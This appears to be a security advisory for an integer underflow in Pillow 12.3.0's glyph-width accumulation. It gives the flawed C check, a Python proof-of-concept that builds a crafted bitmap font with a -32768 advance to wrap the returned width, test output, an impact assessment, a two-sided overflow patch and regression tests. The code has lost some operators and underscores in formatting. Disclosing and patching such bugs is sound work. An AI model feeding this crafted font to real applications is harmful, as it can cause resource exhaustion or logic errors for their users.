GHSA-4rm8-3hmm-39fg: Integer Overflow

Published Oct 22, 2026
·
Updated

Summary Affected Object and Source

Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/imaging.c:2809:15, xsize += dx

Details The code in Pillow 12.3.0 is: c for (xsize = 0; text; text++) { int dx = self->glyphs[text].dx; if (dx > 0 && xsize > INTMAX - dx) { PyErrSetString(PyExcOverflowError, "Width too large"); return -1; } xsize += dx; } The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves: dx > 0 => xsize <= INTMAX - dx It does not prove the other half of the contract: dx < 0 => xsize >= INTMIN - dx Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INTMIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.

PoC python """Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.

Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with the PyC-Contract UBSan build to obtain the exact native diagnostic. """

from future import annotations

import struct from io import BytesIO

import PIL from PIL import Image, ImageFont

ADVANCE = -(215) CONTROLREPEAT = 65536 WITNESSREPEAT = 65537

def bitmapfont(advance: int) -> ImageFont.ImageFont: metrics = bytearray(256 20) glyphoffset = ord("A") 20 metrics[glyphoffset : glyphoffset + 2] = struct.pack(">h", advance) fontdata = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics) font = ImageFont.ImageFont() font.loadpilfontdata(BytesIO(fontdata), Image.new("1", (1, 1))) return font

def main() -> None: font = bitmapfont(ADVANCE) print(f"Pillow={PIL.version}") print(f"controlmath={ADVANCE CONTROLREPEAT}") print(f"controlreturn={font.getlength('A' CONTROLREPEAT)}") print(f"witnessmath={ADVANCE WITNESSREPEAT}") print(f"witnessreturn={font.getlength('A' WITNESSREPEAT)}")

if name == "main": main()

Observations from a regular 12.3.0 release build:

text Pillow=12.3.0 controlmath=-2147483648 controlreturn=0 witnessmath=-2147516416 witnessreturn=2147450880

The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INTMIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.

Impact The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.

Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.

Recommended Patch and Regression Tests

It is recommended to extend the overflow check to cover both directions: c if ((dx > 0 && xsize > INTMAX - dx) || (dx < 0 && xsize < INTMIN - dx)) { PyErrSetString(PyExcOverflowError, "Width too large"); return -1; } At a minimum, four test cases should be added: 1. dx = 32767, repeat = 65538 — upper adjacent control (should succeed); 2. dx = 32767, repeat = 65539 — should raise OverflowError; 3. dx = -32768, repeat = 65536 — lower adjacent control (should succeed); 4. dx = -32768, repeat = 65537 — should raise OverflowError.

Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().

Affected Software

1 affected componentFixes available
pip/pillow<13.0.0
13.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  2. Compensating control

    In Pillow's glyph-width accumulation, extend the overflow check to both directions: reject when dx > 0 and xsize > INT_MAX - dx, and when dx < 0 and xsize < INT_MIN - dx; raise OverflowError with "Width too large".

  3. Operational

    Add regression tests covering dx = -32768 repeated 65,536 times succeeding with return value 0, the 65,537th repetition raising OverflowError, dx = 32767 repeated 65,538 times succeeding, and the 65,539th repetition raising OverflowError; verify consistent exception propagation through getlength(), getbbox(), getmask(), and font.getsize().

Event History

Oct 22, 2026
Advisory Published
via GitHub·04:01 PM
Data Sourced
via GitHub·04:01 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which package artifact is identified as affected?

The affected package is Pillow 12.3.0, specifically the PyPI source distribution pillow-12.3.0.tar.gz with SHA-256 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce.

2

What input is needed to trigger the overflow?

An attacker needs a PILfont glyph with a negative advance value, such as dx = -32768, and text that causes that glyph advance to be accumulated repeatedly. Repeating that value 65,537 times causes the signed integer underflow during text-width calculation.

3

How might the issue appear in an affected build?

An ordinary Pillow 12.3.0 build can produce a wrapped text width when the condition is triggered. A build using UBSan can detect the signed-overflow undefined behavior.

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